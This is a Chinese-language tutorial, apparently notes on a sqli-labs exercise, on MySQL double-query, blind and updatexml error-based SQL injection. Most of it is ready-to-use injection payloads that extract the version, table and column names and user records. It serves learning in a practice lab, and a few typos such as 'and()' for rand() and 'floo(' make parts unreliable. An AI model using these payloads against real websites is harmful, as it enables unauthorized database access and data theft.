双查询注入顾名思义形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询(基于错误显示的二阶查询注入),他的执行顺序也是先执行子查询,然后再执行外面的select,
双注入主要涉及到了几个sql函数:
and() 随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count() 聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组
双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。
concat()就是把多个字符串连接成一个字符,里面的查询语句必须要用小括号括起来,前面可以加任何字符来帮助你区分出你要的信息和错误的信息,但是floor(rand()*2)这个是必须要有的,否则不会起效果
as a就是把前面的查询结果起一个别名,名字叫做a,你也可以不加as 直接在后面加a,但是我不推荐你这么做
基本可以确定是单引号字符型。但是发现使用平常的 union select ,没有任何反应。
如果返回的结果正确就只能返回you are in…,不能得到我们要的数据,所以采用显错注入(盲注)。
and (select 1 from (select count(*),concat((payload),floor
(rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句,需要注意的是该语句将输出字符长度限制为64个字符
解释:
一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的重复,三是 group by 进行分组,分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()多试几次才行
接下来我们开始爆数据库版本
Less-5/?id=1' union select count(*),1, concat(";",(select version()), ";",floor(rand()*2)) as a from information_schema.tables group by a--+
爆数据库
?id=1' union select count(*),1, concat(";",(select database()), ";",floor(rand()*2)) as a from information_schema.tables group by a--+
爆数据表(二分法)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+
第一个数据表的第一个字符 limit0,1),1,1 第一个数据表的第二个字符 limit0,1),2,1 第二个数据表的第一个字符
limit1,1),1,1
爆users的内容
?id=1' and ORD(MID((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+
payload:-1’ and updatexml(1,concat(0x7e,database(),0x7e),1)%23
其中updatexml(1,concat(0x7e, ,0x7e),1),是基本格式,0x7e是十六进制的“~”,用来让查询到的东西更显眼。我们只需要在两个0x7e中间加入要查询的语句就可以了
爆表:
1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
爆字段:
> 1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from
> information_schema.columns where table_schema=database() and
> table_name=‘users’),0x7e),1)%23
爆数据:
1’ and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)%23
updatexml()最多只能爆32位字符,而我们要爆的数据超过了这个位数,使用 limit 0,1来实现
爆数据库
-1' union select 1,count(*),concat((select database()),floor(rand(0)*2))as a from information_schema.tables group by a--+
爆表名:
-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a--+
爆字段名:
-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),floor(rand(0)*2))as a from information_schema.columns group by a--+
爆数据:
-1' union select count(*),concat((select username from users limit 0,1),floo(rand(0)*2))as a from information_schema.columns group by a--+
1、三个函数mid(),substr(),left()
mid(string,start,length) //得出字符串
sub(string,start,length) //得出字符串
left(string,length) //取左边
2、将Groupby clause与一个聚合函数一起使用,例如count(*),可以将查询的部分内容作为错误信息返回。也就发展为今天的二次注入查询。